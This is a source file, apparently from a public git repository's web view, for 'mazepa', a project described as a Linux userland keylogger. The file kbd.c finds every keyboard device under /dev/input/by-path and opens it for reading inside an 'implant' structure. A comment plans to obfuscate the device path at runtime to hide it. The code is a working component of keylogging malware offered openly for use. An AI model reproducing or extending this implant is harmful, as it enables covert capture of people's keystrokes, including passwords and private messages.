mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

kbd.c (3455B)

      1 /**
      2  *  keyboard handling & locale support
      3  *
      4  *  input devices usually live in /dev/input/
      5  *
      6  *  you can identify the in the by-path subdirectory, which maps each
      7  *  device name to a symlink
      8  *
      9  *  here, we will return set an array of file-descriptor for each available
     10  *  keyboard on the machine, it should be appended with a -1 that should serve
     11  *  as a NULL value
     12  */
     13 
     14 #include "implant.h"
     15 
     16 #include <dirent.h>
     17 #include <fcntl.h>
     18 #include <limits.h>
     19 #include <stddef.h>
     20 #include <stdint.h>
     21 #include <stdio.h>
     22 #include <stdlib.h>
     23 #include <string.h>
     24 #include <strings.h>
     25 #include <sys/dir.h>
     26 #include <sys/queue.h>
     27 #include <sys/stat.h>
     28 #include <sys/types.h>
     29 #include <unistd.h>
     30 
     31 static int
     32 is_kbd(const struct dirent *f) {
     33     size_t len = 0;
     34 
     35     if (NULL == f)
     36         return 0;
     37 
     38     len = strlen(f->d_name);
     39     if (len < 4)
     40         return 0;
     41 
     42     return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' &&
     43            f->d_name[len - 1] == 'd';
     44 }
     45 
     46 uint8_t fetch_available_keyboards(implant_t *instance) {
     47 
     48     char rpath[PATH_MAX] = {0};
     49     struct dirent **char_devices = NULL;
     50     int possible_paths = 0;
     51 
     52     /* FIXME(djnn): base64 then decrypt string at runtime */
     53     const char *dev_input_by_path = "/dev/input/by-path/";
     54 
     55     if (!instance) {
     56 #ifdef DEBUG
     57         DEBUG_LOG("[!] NULL ptr for instance struct\n");
     58 #endif
     59         return ERROR;
     60     }
     61 
     62     possible_paths = scandir(dev_input_by_path, &char_devices, &is_kbd, &alphasort);
     63     if (-1 == possible_paths) {
     64 #ifdef DEBUG
     65         DEBUG_LOG("could not find possible keyboard paths\n");
     66 #endif
     67         return ERROR;
     68     }
     69 
     70     if (0 > chdir(dev_input_by_path)) {
     71 #ifdef DEBUG
     72         DEBUG_LOG("could not chdir to %s\n", dev_input_by_path);
     73 #endif
     74         for (int i = 0; i < possible_paths; i++)
     75             free(char_devices[i]);
     76         free(char_devices);
     77         return ERROR;
     78     }
     79 
     80     /* prepare TAILQ  */
     81     TAILQ_INIT(&instance->kbd);
     82     for (int ctr = -1; ++ctr < possible_paths;) {
     83         if (!realpath(char_devices[ctr]->d_name, rpath)) {
     84 
     85 #ifdef DEBUG
     86             DEBUG_LOG("[!] Could not run realpath(%s): %s\n", char_devices[ctr]->d_name, strerror(errno));
     87 #endif
     88 
     89             continue;
     90         }
     91 
     92         keyboard_t *kbd = malloc(sizeof(keyboard_t));
     93         if (!kbd) {
     94 
     95 #ifdef DEBUG
     96             DEBUG_LOG("[!] allocate memory for keyboard_t\n");
     97 #endif
     98 
     99             continue;
    100         }
    101 
    102         kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
    103         if (kbd->fd < 0) {
    104 
    105 #ifdef DEBUG
    106             DEBUG_LOG("[!] Could not open %s: %s\n", rpath, strerror(errno));
    107 #endif
    108 
    109             free(kbd);
    110             continue;
    111         }
    112 
    113         bzero(kbd->name, STRING_BUFFER_SIZE);
    114         if (!strncpy((char *)kbd->name, rpath, (STRING_BUFFER_SIZE - 1))) {
    115 
    116 #ifdef DEBUG
    117             DEBUG_LOG("[!] strncpy: kbd->name could not be copied\n");
    118 #endif
    119 
    120             close(kbd->fd);
    121             free(kbd);
    122             continue;
    123         }
    124         TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices);
    125 
    126 #ifdef DEBUG
    127         DEBUG_LOG("[+] Keyboard found: %s (fd=%d)\n", kbd->name, kbd->fd);
    128 #endif
    129     }
    130 
    131 #ifdef DEBUG
    132     int kbd_count = 0;
    133     keyboard_t *k;
    134     TAILQ_FOREACH(k, &instance->kbd, devices) { kbd_count++; }
    135     DEBUG_LOG("[*] Total keyboards detected: %d\n", kbd_count);
    136 #endif
    137 
    138     for (int i = 0; i < possible_paths; i++) {
    139         free(char_devices[i]);
    140     }
    141     free(char_devices);
    142 
    143     return TAILQ_EMPTY(&instance->kbd) ? ERROR : SUCCESSFUL;
    144 }